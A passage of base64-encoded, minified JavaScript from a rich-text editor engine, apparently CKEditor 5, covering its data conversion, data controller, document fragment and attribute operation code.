lci5pbnNlcnQodCxuLnBvc2l0aW9uKTtyZXR1cm4gdHJ1ZX1fdXBkYXRlQ29udmVyc2lvblJlc3VsdCh0LGUpe2NvbnN0IG49dGhpcy5fZ2V0U3BsaXRQYXJ0cyh0KTtjb25zdCBpPXRoaXMuY29udmVyc2lvbkFwaS53cml0ZXI7aWYoIWUubW9kZWxSYW5nZSl7ZS5tb2RlbFJhbmdlPWkuY3JlYXRlUmFuZ2UoaS5jcmVhdGVQb3NpdGlvbkJlZm9yZSh0KSxpLmNyZWF0ZVBvc2l0aW9uQWZ0ZXIobltuLmxlbmd0aC0xXSkpfWNvbnN0IG89dGhpcy5fY3Vyc29yUGFyZW50cy5nZXQodCk7aWYobyl7ZS5tb2RlbEN1cnNvcj1pLmNyZWF0ZVBvc2l0aW9uQXQobywwKX1lbHNle2UubW9kZWxDdXJzb3I9ZS5tb2RlbFJhbmdlLmVuZH19X3NwbGl0VG9BbGxvd2VkUGFyZW50KHQsZSl7Y29uc3R7c2NoZW1hOm4sd3JpdGVyOml9PXRoaXMuY29udmVyc2lvbkFwaTtsZXQgbz1uLmZpbmRBbGxvd2VkUGFyZW50KGUsdCk7aWYobyl7aWYobz09PWUucGFyZW50KXtyZXR1cm57cG9zaXRpb246ZX19aWYodGhpcy5fbW9kZWxDdXJzb3IucGFyZW50LmdldEFuY2VzdG9ycygpLmluY2x1ZGVzKG8pKXtvPW51bGx9fWlmKCFvKXtpZighbG0oZSx0LG4pKXtyZXR1cm4gbnVsbH1yZXR1cm57cG9zaXRpb246ZG0oZSxpKX19Y29uc3Qgcj10aGlzLmNvbnZlcnNpb25BcGkud3JpdGVyLnNwbGl0KGUsbyk7Y29uc3Qgcz1bXTtmb3IoY29uc3QgdCBvZiByLnJhbmdlLmdldFdhbGtlcigpKXtpZih0LnR5cGU9PSJlbGVtZW50RW5kIil7cy5wdXNoKHQuaXRlbSl9ZWxzZXtjb25zdCBlPXMucG9wKCk7Y29uc3Qgbj10Lml0ZW07dGhpcy5fcmVnaXN0ZXJTcGxpdFBhaXIoZSxuKX19Y29uc3QgYT1yLnJhbmdlLmVuZC5wYXJlbnQ7dGhpcy5fY3Vyc29yUGFyZW50cy5zZXQodCxhKTtyZXR1cm57cG9zaXRpb246ci5wb3NpdGlvbixjdXJzb3JQYXJlbnQ6YX19X3JlZ2lzdGVyU3BsaXRQYWlyKHQsZSl7aWYoIXRoaXMuX3NwbGl0UGFydHMuaGFzKHQpKXt0aGlzLl9zcGxpdFBhcnRzLnNldCh0LFt0XSl9Y29uc3Qgbj10aGlzLl9zcGxpdFBhcnRzLmdldCh0KTt0aGlzLl9zcGxpdFBhcnRzLnNldChlLG4pO24ucHVzaChlKX1fZ2V0U3BsaXRQYXJ0cyh0KXtsZXQgZTtpZighdGhpcy5fc3BsaXRQYXJ0cy5oYXModCkpe2U9W3RdfWVsc2V7ZT10aGlzLl9zcGxpdFBhcnRzLmdldCh0KX1yZXR1cm4gZX1fcmVtb3ZlRW1wdHlFbGVtZW50cygpe2xldCB0PWZhbHNlO2Zvcihjb25zdCBlIG9mIHRoaXMuX3NwbGl0UGFydHMua2V5cygpKXtpZihlLmlzRW1wdHkpe3RoaXMuY29udmVyc2lvbkFwaS53cml0ZXIucmVtb3ZlKGUpO3RoaXMuX3NwbGl0UGFydHMuZGVsZXRlKGUpO3Q9dHJ1ZX19aWYodCl7dGhpcy5fcmVtb3ZlRW1wdHlFbGVtZW50cygpfX19X3MoWG0sZHMpO2Z1bmN0aW9uIHRnKHQsZSl7Y29uc3Qgbj1uZXcgU2V0O2NvbnN0IGk9bmV3IE1hcDtjb25zdCBvPWVmLl9jcmVhdGVJbih0KS5nZXRJdGVtcygpO2Zvcihjb25zdCB0IG9mIG8pe2lmKHQubmFtZT09IiRtYXJrZXIiKXtuLmFkZCh0KX19Zm9yKGNvbnN0IHQgb2Ygbil7Y29uc3Qgbj10LmdldEF0dHJpYnV0ZSgiZGF0YS1uYW1lIik7Y29uc3Qgbz1lLmNyZWF0ZVBvc2l0aW9uQmVmb3JlKHQpO2lmKCFpLmhhcyhuKSl7aS5zZXQobixuZXcgZWYoby5jbG9uZSgpKSl9ZWxzZXtpLmdldChuKS5lbmQ9by5jbG9uZSgpfWUucmVtb3ZlKHQpfXJldHVybiBpfWZ1bmN0aW9uIGVnKHQsZSl7bGV0IG47Zm9yKGNvbnN0IGkgb2YgbmV3IExtKHQpKXtjb25zdCB0PXt9O2Zvcihjb25zdCBlIG9mIGkuZ2V0QXR0cmlidXRlS2V5cygpKXt0W2VdPWkuZ2V0QXR0cmlidXRlKGUpfWNvbnN0IG89ZS5jcmVhdGVFbGVtZW50KGkubmFtZSx0KTtpZihuKXtlLmFwcGVuZChvLG4pfW49SmguX2NyZWF0ZUF0KG8sMCl9cmV0dXJuIG59Y2xhc3Mgbmd7Y29uc3RydWN0b3IodCxlKXt0aGlzLm1vZGVsPXQ7dGhpcy5zdHlsZXNQcm9jZXNzb3I9ZTt0aGlzLnByb2Nlc3Nvcj11bmRlZmluZWQ7dGhpcy5tYXBwZXI9bmV3IG5mO3RoaXMuZG93bmNhc3REaXNwYXRjaGVyPW5ldyBzZih7bWFwcGVyOnRoaXMubWFwcGVyLHNjaGVtYTp0LnNjaGVtYX0pO3RoaXMuZG93bmNhc3REaXNwYXRjaGVyLm9uKCJpbnNlcnQ6JHRleHQiLE5mKCkse3ByaW9yaXR5OiJsb3dlc3QifSk7dGhpcy51cGNhc3REaXNwYXRjaGVyPW5ldyBYbSh7c2NoZW1hOnQuc2NoZW1hfSk7dGhpcy52aWV3RG9jdW1lbnQ9bmV3IGJsKGUpO3RoaXMuX3ZpZXdXcml0ZXI9bmV3IFhsKHRoaXMudmlld0RvY3VtZW50KTt0aGlzLnVwY2FzdERpc3BhdGNoZXIub24oInRleHQiLGZtKCkse3ByaW9yaXR5OiJsb3dlc3QifSk7dGhpcy51cGNhc3REaXNwYXRjaGVyLm9uKCJlbGVtZW50IixobSgpLHtwcmlvcml0eToibG93ZXN0In0pO3RoaXMudXBjYXN0RGlzcGF0Y2hlci5vbigiZG9jdW1lbnRGcmFnbWVudCIsaG0oKSx7cHJpb3JpdHk6Imxvd2VzdCJ9KTt0aGlzLmRlY29yYXRlKCJpbml0Iik7dGhpcy5kZWNvcmF0ZSgic2V0Iik7dGhpcy5vbigiaW5pdCIsKCgpPT57dGhpcy5maXJlKCJyZWFkeSIpfSkse3ByaW9yaXR5OiJsb3dlc3QifSk7dGhpcy5vbigicmVhZHkiLCgoKT0+e3RoaXMubW9kZWwuZW5xdWV1ZUNoYW5nZSgidHJhbnNwYXJlbnQiLGNtKX0pLHtwcmlvcml0eToibG93ZXN0In0pfWdldCh0PXt9KXtjb25zdHtyb290TmFtZTplPSJtYWluIix0cmltOm49ImVtcHR5In09dDtpZighdGhpcy5fY2hlY2tJZlJvb3RzRXhpc3RzKFtlXSkpe3Rocm93IG5ldyBzc1siYSJdKCJkYXRhY29udHJvbGxlci1nZXQtbm9uLWV4aXN0ZW50LXJvb3QiLHRoaXMpfWNvbnN0IGk9dGhpcy5tb2RlbC5kb2N1bWVudC5nZXRSb290KGUpO2lmKG49PT0iZW1wdHkiJiYhdGhpcy5tb2RlbC5oYXNDb250ZW50KGkse2lnbm9yZVdoaXRlc3BhY2VzOnRydWV9KSl7cmV0dXJuIiJ9cmV0dXJuIHRoaXMuc3RyaW5naWZ5KGksdCl9c3RyaW5naWZ5KHQsZSl7Y29uc3Qgbj10aGlzLnRvVmlldyh0LGUpO3JldHVybiB0aGlzLnByb2Nlc3Nvci50b0RhdGEobil9dG9WaWV3KHQsZSl7Y29uc3Qgbj10aGlzLnZpZXdEb2N1bWVudDtjb25zdCBpPXRoaXMuX3ZpZXdXcml0ZXI7dGhpcy5tYXBwZXIuY2xlYXJCaW5kaW5ncygpO2NvbnN0IG89ZWYuX2NyZWF0ZUluKHQpO2NvbnN0IHI9bmV3IEpsKG4pO3RoaXMubWFwcGVyLmJpbmRFbGVtZW50cyh0LHIpO3RoaXMuZG93bmNhc3REaXNwYXRjaGVyLmNvbnZlcnNpb25BcGkub3B0aW9ucz1lO3RoaXMuZG93bmNhc3REaXNwYXRjaGVyLmNvbnZlcnRJbnNlcnQobyxpKTtpZighdC5pcygiZG9jdW1lbnRGcmFnbWVudCIpKXtjb25zdCBlPWlnKHQpO2Zvcihjb25zdFt0LG5db2YgZSl7dGhpcy5kb3duY2FzdERpc3BhdGNoZXIuY29udmVydE1hcmtlckFkZCh0LG4saSl9fWRlbGV0ZSB0aGlzLmRvd25jYXN0RGlzcGF0Y2hlci5jb252ZXJzaW9uQXBpLm9wdGlvbnM7cmV0dXJuIHJ9aW5pdCh0KXtpZih0aGlzLm1vZGVsLmRvY3VtZW50LnZlcnNpb24pe3Rocm93IG5ldyBzc1siYSJdKCJkYXRhY29udHJvbGxlci1pbml0LWRvY3VtZW50LW5vdC1lbXB0eSIsdGhpcyl9bGV0IGU9e307aWYodHlwZW9mIHQ9PT0ic3RyaW5nIil7ZS5tYWluPXR9ZWxzZXtlPXR9aWYoIXRoaXMuX2NoZWNrSWZSb290c0V4aXN0cyhPYmplY3Qua2V5cyhlKSkpe3Rocm93IG5ldyBzc1siYSJdKCJkYXRhY29udHJvbGxlci1pbml0LW5vbi1leGlzdGVudC1yb290Iix0aGlzKX10aGlzLm1vZGVsLmVucXVldWVDaGFuZ2UoInRyYW5zcGFyZW50IiwodD0+e2Zvcihjb25zdCBuIG9mIE9iamVjdC5rZXlzKGUpKXtjb25zdCBpPXRoaXMubW9kZWwuZG9jdW1lbnQuZ2V0Um9vdChuKTt0Lmluc2VydCh0aGlzLnBhcnNlKGVbbl0saSksaSwwKX19KSk7cmV0dXJuIFByb21pc2UucmVzb2x2ZSgpfXNldCh0KXtsZXQgZT17fTtpZih0eXBlb2YgdD09PSJzdHJpbmciKXtlLm1haW49dH1lbHNle2U9dH1pZighdGhpcy5fY2hlY2tJZlJvb3RzRXhpc3RzKE9iamVjdC5rZXlzKGUpKSl7dGhyb3cgbmV3IHNzWyJhIl0oImRhdGFjb250cm9sbGVyLXNldC1ub24tZXhpc3RlbnQtcm9vdCIsdGhpcyl9dGhpcy5tb2RlbC5lbnF1ZXVlQ2hhbmdlKCJ0cmFuc3BhcmVudCIsKHQ9Pnt0LnNldFNlbGVjdGlvbihudWxsKTt0LnJlbW92ZVNlbGVjdGlvbkF0dHJpYnV0ZSh0aGlzLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRBdHRyaWJ1dGVLZXlzKCkpO2Zvcihjb25zdCBuIG9mIE9iamVjdC5rZXlzKGUpKXtjb25zdCBpPXRoaXMubW9kZWwuZG9jdW1lbnQuZ2V0Um9vdChuKTt0LnJlbW92ZSh0LmNyZWF0ZVJhbmdlSW4oaSkpO3QuaW5zZXJ0KHRoaXMucGFyc2UoZVtuXSxpKSxpLDApfX0pKX1wYXJzZSh0LGU9IiRyb290Iil7Y29uc3Qgbj10aGlzLnByb2Nlc3Nvci50b1ZpZXcodCk7cmV0dXJuIHRoaXMudG9Nb2RlbChuLGUpfXRvTW9kZWwodCxlPSIkcm9vdCIpe3JldHVybiB0aGlzLm1vZGVsLmNoYW5nZSgobj0+dGhpcy51cGNhc3REaXNwYXRjaGVyLmNvbnZlcnQodCxuLGUpKSl9YWRkU3R5bGVQcm9jZXNzb3JSdWxlcyh0KXt0KHRoaXMuc3R5bGVzUHJvY2Vzc29yKX1kZXN0cm95KCl7dGhpcy5zdG9wTGlzdGVuaW5nKCl9X2NoZWNrSWZSb290c0V4aXN0cyh0KXtmb3IoY29uc3QgZSBvZiB0KXtpZighdGhpcy5tb2RlbC5kb2N1bWVudC5nZXRSb290TmFtZXMoKS5pbmNsdWRlcyhlKSl7cmV0dXJuIGZhbHNlfX1yZXR1cm4gdHJ1ZX19X3MobmcsSmMpO2Z1bmN0aW9uIGlnKHQpe2NvbnN0IGU9W107Y29uc3Qgbj10LnJvb3QuZG9jdW1lbnQ7aWYoIW4pe3JldHVybltdfWNvbnN0IGk9ZWYuX2NyZWF0ZUluKHQpO2Zvcihjb25zdCB0IG9mIG4ubW9kZWwubWFya2Vycyl7Y29uc3Qgbj1pLmdldEludGVyc2VjdGlvbih0LmdldFJhbmdlKCkpO2lmKG4pe2UucHVzaChbdC5uYW1lLG5dKX19cmV0dXJuIGV9Y2xhc3Mgb2d7Y29uc3RydWN0b3IodCxlKXt0aGlzLl9oZWxwZXJzPW5ldyBNYXA7dGhpcy5fZG93bmNhc3Q9eHModCk7dGhpcy5fY3JlYXRlQ29udmVyc2lvbkhlbHBlcnMoe25hbWU6ImRvd25jYXN0IixkaXNwYXRjaGVyczp0aGlzLl9kb3duY2FzdCxpc0Rvd25jYXN0OnRydWV9KTt0aGlzLl91cGNhc3Q9eHMoZSk7dGhpcy5fY3JlYXRlQ29udmVyc2lvbkhlbHBlcnMoe25hbWU6InVwY2FzdCIsZGlzcGF0Y2hlcnM6dGhpcy5fdXBjYXN0LGlzRG93bmNhc3Q6ZmFsc2V9KX1hZGRBbGlhcyh0LGUpe2NvbnN0IG49dGhpcy5fZG93bmNhc3QuaW5jbHVkZXMoZSk7Y29uc3QgaT10aGlzLl91cGNhc3QuaW5jbHVkZXMoZSk7aWYoIWkmJiFuKXt0aHJvdyBuZXcgc3NbImEiXSgiY29udmVyc2lvbi1hZGQtYWxpYXMtZGlzcGF0Y2hlci1ub3QtcmVnaXN0ZXJlZCIsdGhpcyl9dGhpcy5fY3JlYXRlQ29udmVyc2lvbkhlbHBlcnMoe25hbWU6dCxkaXNwYXRjaGVyczpbZV0saXNEb3duY2FzdDpufSl9Zm9yKHQpe2lmKCF0aGlzLl9oZWxwZXJzLmhhcyh0KSl7dGhyb3cgbmV3IHNzWyJhIl0oImNvbnZlcnNpb24tZm9yLXVua25vd24tZ3JvdXAiLHRoaXMpfXJldHVybiB0aGlzLl9oZWxwZXJzLmdldCh0KX1lbGVtZW50VG9FbGVtZW50KHQpe3RoaXMuZm9yKCJkb3duY2FzdCIpLmVsZW1lbnRUb0VsZW1lbnQodCk7Zm9yKGNvbnN0e21vZGVsOmUsdmlldzpufW9mIHJnKHQpKXt0aGlzLmZvcigidXBjYXN0IikuZWxlbWVudFRvRWxlbWVudCh7bW9kZWw6ZSx2aWV3Om4sY29udmVydGVyUHJpb3JpdHk6dC5jb252ZXJ0ZXJQcmlvcml0eX0pfX1hdHRyaWJ1dGVUb0VsZW1lbnQodCl7dGhpcy5mb3IoImRvd25jYXN0IikuYXR0cmlidXRlVG9FbGVtZW50KHQpO2Zvcihjb25zdHttb2RlbDplLHZpZXc6bn1vZiByZyh0KSl7dGhpcy5mb3IoInVwY2FzdCIpLmVsZW1lbnRUb0F0dHJpYnV0ZSh7dmlldzpuLG1vZGVsOmUsY29udmVydGVyUHJpb3JpdHk6dC5jb252ZXJ0ZXJQcmlvcml0eX0pfX1hdHRyaWJ1dGVUb0F0dHJpYnV0ZSh0KXt0aGlzLmZvcigiZG93bmNhc3QiKS5hdHRyaWJ1dGVUb0F0dHJpYnV0ZSh0KTtmb3IoY29uc3R7bW9kZWw6ZSx2aWV3Om59b2YgcmcodCkpe3RoaXMuZm9yKCJ1cGNhc3QiKS5hdHRyaWJ1dGVUb0F0dHJpYnV0ZSh7dmlldzpuLG1vZGVsOmV9KX19X2NyZWF0ZUNvbnZlcnNpb25IZWxwZXJzKHtuYW1lOnQsZGlzcGF0Y2hlcnM6ZSxpc0Rvd25jYXN0Om59KXtpZih0aGlzLl9oZWxwZXJzLmhhcyh0KSl7dGhyb3cgbmV3IHNzWyJhIl0oImNvbnZlcnNpb24tZ3JvdXAtZXhpc3RzIix0aGlzKX1jb25zdCBpPW4/bmV3IElmKGUpOm5ldyB1bShlKTt0aGlzLl9oZWxwZXJzLnNldCh0LGkpfX1mdW5jdGlvbipyZyh0KXtpZih0Lm1vZGVsLnZhbHVlcyl7Zm9yKGNvbnN0IGUgb2YgdC5tb2RlbC52YWx1ZXMpe2NvbnN0IG49e2tleTp0Lm1vZGVsLmtleSx2YWx1ZTplfTtjb25zdCBpPXQudmlld1tlXTtjb25zdCBvPXQudXBjYXN0QWxzbz90LnVwY2FzdEFsc29bZV06dW5kZWZpbmVkO3lpZWxkKnNnKG4saSxvKX19ZWxzZXt5aWVsZCpzZyh0Lm1vZGVsLHQudmlldyx0LnVwY2FzdEFsc28pfX1mdW5jdGlvbipzZyh0LGUsbil7eWllbGR7bW9kZWw6dCx2aWV3OmV9O2lmKG4pe2Zvcihjb25zdCBlIG9mIHhzKG4pKXt5aWVsZHttb2RlbDp0LHZpZXc6ZX19fX1jbGFzcyBhZ3tjb25zdHJ1Y3Rvcih0PSJkZWZhdWx0Iil7dGhpcy5vcGVyYXRpb25zPVtdO3RoaXMudHlwZT10fWdldCBiYXNlVmVyc2lvbigpe2Zvcihjb25zdCB0IG9mIHRoaXMub3BlcmF0aW9ucyl7aWYodC5iYXNlVmVyc2lvbiE9PW51bGwpe3JldHVybiB0LmJhc2VWZXJzaW9ufX1yZXR1cm4gbnVsbH1hZGRPcGVyYXRpb24odCl7dC5iYXRjaD10aGlzO3RoaXMub3BlcmF0aW9ucy5wdXNoKHQpO3JldHVybiB0fX1jbGFzcyBjZ3tjb25zdHJ1Y3Rvcih0KXt0aGlzLmJhc2VWZXJzaW9uPXQ7dGhpcy5pc0RvY3VtZW50T3BlcmF0aW9uPXRoaXMuYmFzZVZlcnNpb24hPT1udWxsO3RoaXMuYmF0Y2g9bnVsbH1fdmFsaWRhdGUoKXt9dG9KU09OKCl7Y29uc3QgdD1PYmplY3QuYXNzaWduKHt9LHRoaXMpO3QuX19jbGFzc05hbWU9dGhpcy5jb25zdHJ1Y3Rvci5jbGFzc05hbWU7ZGVsZXRlIHQuYmF0Y2g7ZGVsZXRlIHQuaXNEb2N1bWVudE9wZXJhdGlvbjtyZXR1cm4gdH1zdGF0aWMgZ2V0IGNsYXNzTmFtZSgpe3JldHVybiJPcGVyYXRpb24ifXN0YXRpYyBmcm9tSlNPTih0KXtyZXR1cm4gbmV3IHRoaXModC5iYXNlVmVyc2lvbil9fWNsYXNzIGxne2NvbnN0cnVjdG9yKHQpe3RoaXMubWFya2Vycz1uZXcgTWFwO3RoaXMuX2NoaWxkcmVuPW5ldyBLaDtpZih0KXt0aGlzLl9pbnNlcnRDaGlsZCgwLHQpfX1bU3ltYm9sLml0ZXJhdG9yXSgpe3JldHVybiB0aGlzLmdldENoaWxkcmVuKCl9Z2V0IGNoaWxkQ291bnQoKXtyZXR1cm4gdGhpcy5fY2hpbGRyZW4ubGVuZ3RofWdldCBtYXhPZmZzZXQoKXtyZXR1cm4gdGhpcy5fY2hpbGRyZW4ubWF4T2Zmc2V0fWdldCBpc0VtcHR5KCl7cmV0dXJuIHRoaXMuY2hpbGRDb3VudD09PTB9Z2V0IHJvb3QoKXtyZXR1cm4gdGhpc31nZXQgcGFyZW50KCl7cmV0dXJuIG51bGx9aXModCl7cmV0dXJuIHQ9PT0iZG9jdW1lbnRGcmFnbWVudCJ8fHQ9PT0ibW9kZWw6ZG9jdW1lbnRGcmFnbWVudCJ9Z2V0Q2hpbGQodCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuLmdldE5vZGUodCl9Z2V0Q2hpbGRyZW4oKXtyZXR1cm4gdGhpcy5fY2hpbGRyZW5bU3ltYm9sLml0ZXJhdG9yXSgpfWdldENoaWxkSW5kZXgodCl7cmV0dXJuIHRoaXMuX2NoaWxkcmVuLmdldE5vZGVJbmRleCh0KX1nZXRDaGlsZFN0YXJ0T2Zmc2V0KHQpe3JldHVybiB0aGlzLl9jaGlsZHJlbi5nZXROb2RlU3RhcnRPZmZzZXQodCl9Z2V0UGF0aCgpe3JldHVybltdfWdldE5vZGVCeVBhdGgodCl7bGV0IGU9dGhpcztmb3IoY29uc3QgbiBvZiB0KXtlPWUuZ2V0Q2hpbGQoZS5vZmZzZXRUb0luZGV4KG4pKX1yZXR1cm4gZX1vZmZzZXRUb0luZGV4KHQpe3JldHVybiB0aGlzLl9jaGlsZHJlbi5vZmZzZXRUb0luZGV4KHQpfXRvSlNPTigpe2NvbnN0IHQ9W107Zm9yKGNvbnN0IGUgb2YgdGhpcy5fY2hpbGRyZW4pe3QucHVzaChlLnRvSlNPTigpKX1yZXR1cm4gdH1zdGF0aWMgZnJvbUpTT04odCl7Y29uc3QgZT1bXTtmb3IoY29uc3QgbiBvZiB0KXtpZihuLm5hbWUpe2UucHVzaChxaC5mcm9tSlNPTihuKSl9ZWxzZXtlLnB1c2goR2guZnJvbUpTT04obikpfX1yZXR1cm4gbmV3IGxnKGUpfV9hcHBlbmRDaGlsZCh0KXt0aGlzLl9pbnNlcnRDaGlsZCh0aGlzLmNoaWxkQ291bnQsdCl9X2luc2VydENoaWxkKHQsZSl7Y29uc3Qgbj1kZyhlKTtmb3IoY29uc3QgdCBvZiBuKXtpZih0LnBhcmVudCE9PW51bGwpe3QuX3JlbW92ZSgpfXQucGFyZW50PXRoaXN9dGhpcy5fY2hpbGRyZW4uX2luc2VydE5vZGVzKHQsbil9X3JlbW92ZUNoaWxkcmVuKHQsZT0xKXtjb25zdCBuPXRoaXMuX2NoaWxkcmVuLl9yZW1vdmVOb2Rlcyh0LGUpO2Zvcihjb25zdCB0IG9mIG4pe3QucGFyZW50PW51bGx9cmV0dXJuIG59fWZ1bmN0aW9uIGRnKHQpe2lmKHR5cGVvZiB0PT0ic3RyaW5nIil7cmV0dXJuW25ldyBHaCh0KV19aWYoIUFzKHQpKXt0PVt0XX1yZXR1cm4gQXJyYXkuZnJvbSh0KS5tYXAoKHQ9PntpZih0eXBlb2YgdD09InN0cmluZyIpe3JldHVybiBuZXcgR2godCl9aWYodCBpbnN0YW5jZW9mIFdoKXtyZXR1cm4gbmV3IEdoKHQuZGF0YSx0LmdldEF0dHJpYnV0ZXMoKSl9cmV0dXJuIHR9KSl9ZnVuY3Rpb24gdWcodCxlKXtlPWdnKGUpO2NvbnN0IG49ZS5yZWR1Y2UoKCh0LGUpPT50K2Uub2Zmc2V0U2l6ZSksMCk7Y29uc3QgaT10LnBhcmVudDtrZyh0KTtjb25zdCBvPXQuaW5kZXg7aS5faW5zZXJ0Q2hpbGQobyxlKTtwZyhpLG8rZS5sZW5ndGgpO3BnKGksbyk7cmV0dXJuIG5ldyBlZih0LHQuZ2V0U2hpZnRlZEJ5KG4pKX1mdW5jdGlvbiBoZyh0KXtpZighdC5pc0ZsYXQpe3Rocm93IG5ldyBzc1siYSJdKCJvcGVyYXRpb24tdXRpbHMtcmVtb3ZlLXJhbmdlLW5vdC1mbGF0Iix0aGlzKX1jb25zdCBlPXQuc3RhcnQucGFyZW50O2tnKHQuc3RhcnQpO2tnKHQuZW5kKTtjb25zdCBuPWUuX3JlbW92ZUNoaWxkcmVuKHQuc3RhcnQuaW5kZXgsdC5lbmQuaW5kZXgtdC5zdGFydC5pbmRleCk7cGcoZSx0LnN0YXJ0LmluZGV4KTtyZXR1cm4gbn1mdW5jdGlvbiBmZyh0LGUpe2lmKCF0LmlzRmxhdCl7dGhyb3cgbmV3IHNzWyJhIl0oIm9wZXJhdGlvbi11dGlscy1tb3ZlLXJhbmdlLW5vdC1mbGF0Iix0aGlzKX1jb25zdCBuPWhnKHQpO2U9ZS5fZ2V0VHJhbnNmb3JtZWRCeURlbGV0aW9uKHQuc3RhcnQsdC5lbmQub2Zmc2V0LXQuc3RhcnQub2Zmc2V0KTtyZXR1cm4gdWcoZSxuKX1mdW5jdGlvbiBtZyh0LGUsbil7a2codC5zdGFydCk7a2codC5lbmQpO2Zvcihjb25zdCBpIG9mIHQuZ2V0SXRlbXMoe3NoYWxsb3c6dHJ1ZX0pKXtjb25zdCB0PWkuaXMoIiR0ZXh0UHJveHkiKT9pLnRleHROb2RlOmk7aWYobiE9PW51bGwpe3QuX3NldEF0dHJpYnV0ZShlLG4pfWVsc2V7dC5fcmVtb3ZlQXR0cmlidXRlKGUpfXBnKHQucGFyZW50LHQuaW5kZXgpfXBnKHQuZW5kLnBhcmVudCx0LmVuZC5pbmRleCl9ZnVuY3Rpb24gZ2codCl7Y29uc3QgZT1bXTtpZighKHQgaW5zdGFuY2VvZiBBcnJheSkpe3Q9W3RdfWZvcihsZXQgbj0wO248dC5sZW5ndGg7bisrKXtpZih0eXBlb2YgdFtuXT09InN0cmluZyIpe2UucHVzaChuZXcgR2godFtuXSkpfWVsc2UgaWYodFtuXWluc3RhbmNlb2YgV2gpe2UucHVzaChuZXcgR2godFtuXS5kYXRhLHRbbl0uZ2V0QXR0cmlidXRlcygpKSl9ZWxzZSBpZih0W25daW5zdGFuY2VvZiBsZ3x8dFtuXWluc3RhbmNlb2YgS2gpe2Zvcihjb25zdCBpIG9mIHRbbl0pe2UucHVzaChpKX19ZWxzZSBpZih0W25daW5zdGFuY2VvZiBIaCl7ZS5wdXNoKHRbbl0pfX1mb3IobGV0IHQ9MTt0PGUubGVuZ3RoO3QrKyl7Y29uc3Qgbj1lW3RdO2NvbnN0IGk9ZVt0LTFdO2lmKG4gaW5zdGFuY2VvZiBHaCYmaSBpbnN0YW5jZW9mIEdoJiZiZyhuLGkpKXtlLnNwbGljZSh0LTEsMixuZXcgR2goaS5kYXRhK24uZGF0YSxpLmdldEF0dHJpYnV0ZXMoKSkpO3QtLX19cmV0dXJuIGV9ZnVuY3Rpb24gcGcodCxlKXtjb25zdCBuPXQuZ2V0Q2hpbGQoZS0xKTtjb25zdCBpPXQuZ2V0Q2hpbGQoZSk7aWYobiYmaSYmbi5pcygiJHRleHQiKSYmaS5pcygiJHRleHQiKSYmYmcobixpKSl7Y29uc3Qgbz1uZXcgR2gobi5kYXRhK2kuZGF0YSxuLmdldEF0dHJpYnV0ZXMoKSk7dC5fcmVtb3ZlQ2hpbGRyZW4oZS0xLDIpO3QuX2luc2VydENoaWxkKGUtMSxvKX19ZnVuY3Rpb24ga2codCl7Y29uc3QgZT10LnRleHROb2RlO2NvbnN0IG49dC5wYXJlbnQ7aWYoZSl7Y29uc3QgaT10Lm9mZnNldC1lLnN0YXJ0T2Zmc2V0O2NvbnN0IG89ZS5pbmRleDtuLl9yZW1vdmVDaGlsZHJlbihvLDEpO2NvbnN0IHI9bmV3IEdoKGUuZGF0YS5zdWJzdHIoMCxpKSxlLmdldEF0dHJpYnV0ZXMoKSk7Y29uc3Qgcz1uZXcgR2goZS5kYXRhLnN1YnN0cihpKSxlLmdldEF0dHJpYnV0ZXMoKSk7bi5faW5zZXJ0Q2hpbGQobyxbcixzXSl9fWZ1bmN0aW9uIGJnKHQsZSl7Y29uc3Qgbj10LmdldEF0dHJpYnV0ZXMoKTtjb25zdCBpPWUuZ2V0QXR0cmlidXRlcygpO2Zvcihjb25zdCB0IG9mIG4pe2lmKHRbMV0hPT1lLmdldEF0dHJpYnV0ZSh0WzBdKSl7cmV0dXJuIGZhbHNlfWkubmV4dCgpfXJldHVybiBpLm5leHQoKS5kb25lfWZ1bmN0aW9uIHdnKHQsZSl7cmV0dXJuIEp1KHQsZSl9dmFyIENnPXdnO2NsYXNzIEFnIGV4dGVuZHMgY2d7Y29uc3RydWN0b3IodCxlLG4saSxvKXtzdXBlcihvKTt0aGlzLnJhbmdlPXQuY2xvbmUoKTt0aGlzLmtleT1lO3RoaXMub2xkVmFsdWU9bj09PXVuZGVmaW5lZD9udWxsOm47dGhpcy5uZXdWYWx1ZT1pPT09dW5kZWZpbmVkP251bGw6aX1nZXQgdHlwZSgpe2lmKHRoaXMub2xkVmFsdWU9PT1udWxsKXtyZXR1cm4iYWRkQXR0cmlidXRlIn1lbHNlIGlmKHRoaXMubmV3VmFsdWU9PT1udWxsKXtyZXR1cm4icmVtb3ZlQXR0cmlidXRlIn1lbHNle3JldHVybiJjaGFuZ2VBdHRyaWJ1dGUifX1jbG9uZSgpe3JldHVybiBuZXcgQWcodGhpcy5yYW5nZSx0aGlzLmtleSx0aGlzLm9sZFZhbHVlLHRoaXMubmV3VmFsdWUsdGhpcy5iYXNlVmVyc2lvbil9Z2V0UmV2ZXJzZWQoKXtyZXR1cm4gbmV3IEFnKHRoaXMucmFuZ2UsdGhpcy5rZXksdGhpcy5uZXdWYWx1ZSx0aGlzLm9sZFZhbHVlLHRoaXMuYmFzZVZlcnNpb24rMSl9dG9KU09OKCl7Y29uc3QgdD1zdXBlci50b0pTT04oKTt0LnJhbmdlPXRoaXMucmFuZ2UudG9KU09OKCk7cmV0dXJuIHR9X3ZhbGlkYXRlKCl7aWYoIXRoaXMucmFuZ2UuaXNGbGF0KXt0aHJvdyBuZXcgc3NbImEiXSgiYXR0cmlidXRlLW9wZXJhdGlvbi1yYW5nZS1ub3QtZmxhdCIsdGhpcyl9Zm9yKGNvbnN0IHQgb2YgdGhpcy5yYW5nZS5nZXRJdGVtcyh7c2hhbGxvdzp0cnVlfSkpe2lmKHRoaXMub2xkVmFsdWUhPT1udWxsJiYhQ2codC5nZXRBdHRyaWJ1dGUodGhpcy5rZXkpLHRoaXMub2xkVmFsdWUpKXt0aHJvdyBuZXcgc3NbImEiXSgiYXR0cmlidXRlLW9wZXJhdGlvbi13cm9uZy1vbGQtdmFsdWUiLHRoaXMse2l0ZW06dCxrZXk6dGhpcy5rZXksdmFsdWU6dGhpcy5vbGRWYWx1ZX0pfWlmKHRoaXMub2xkVmFsdWU9PT1udWxsJiZ0aGlzLm5ld1ZhbHVlIT09bnVsbCYmdC5oYXNBdHRyaWJ1dGUodGhpcy5rZXkpKXt0aHJvdyBuZXcgc3NbImEiXSgiYXR0cmlidXRlLW9wZXJhdGlvbi1hdHRyaWJ1dGUtZXhpc3RzIix0aGlzLHtub2RlOnQsa2V5OnRoaXMua2V5fSl9